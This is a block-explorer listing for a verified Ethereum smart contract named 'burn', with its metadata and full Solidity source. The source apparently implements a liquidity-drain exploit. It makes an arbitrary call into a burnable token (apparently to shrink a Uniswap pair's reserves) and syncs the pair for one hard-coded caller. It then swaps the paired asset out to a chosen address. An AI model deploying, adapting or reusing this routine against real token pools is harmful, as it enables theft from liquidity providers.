Skip to content
Verified contractExact

burn

Address0x06e361655742bdf700e14435ea3ecef5d19564d6
Balance

0 ETH

 

Transactions

1

 

Compiler

solc 0.6.12

 

Same code

Only this contract

 

Details

Compiler
solc 0.6.12+commit.27d51765
Language
solidity
Optimization
No
EVM version
istanbul
License
Not stated
Match
Exactcreation code: yes, runtime code: yes
Verified on Sourcify
Created in block
13,749,233
Creation transaction
0xe21963c4bb…b50c80c5cf

contracts/burn.sol

pragma solidity 0.6.12;

interface IUniswapV2Router02 {
    function swapExactTokensForTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
}
interface IUniswapV2Pair {
    function sync() external;
    function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
}
interface IERC20 {
    function balanceOf(address account) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transfer(address recipient, uint256 amount) external returns (bool);
}
contract burn{
    function getEthFromPair(address burnToken,address otherToken,address pairAddress,address target,bytes memory burnParam,uint256 outAmount ) public{
        burnToken.call(burnParam);
        address[] memory paths2 = new address[](2);
        paths2[0] = burnToken;
        paths2[1] = otherToken;
        if(msg.sender==0xFB04C32Cd640f70F429De6f2Ad1d9e4296CD337F)
            IUniswapV2Pair(pairAddress).sync();
        
        IERC20(burnToken).transfer(
            pairAddress,
            IERC20(burnToken).balanceOf(
                address(this)
            )
        );
        IUniswapV2Pair(pairAddress).swap(0,outAmount,target,new bytes(0));
    }
}
Compiler settingsShow
{
  "metadata": {
    "bytecodeHash": "ipfs"
  },
  "libraries": {},
  "optimizer": {
    "runs": 200,
    "enabled": false
  },
  "evmVersion": "istanbul",
  "remappings": []
}

Source code and metadata: Sourcify.

The source code belongs to the authors of the contract.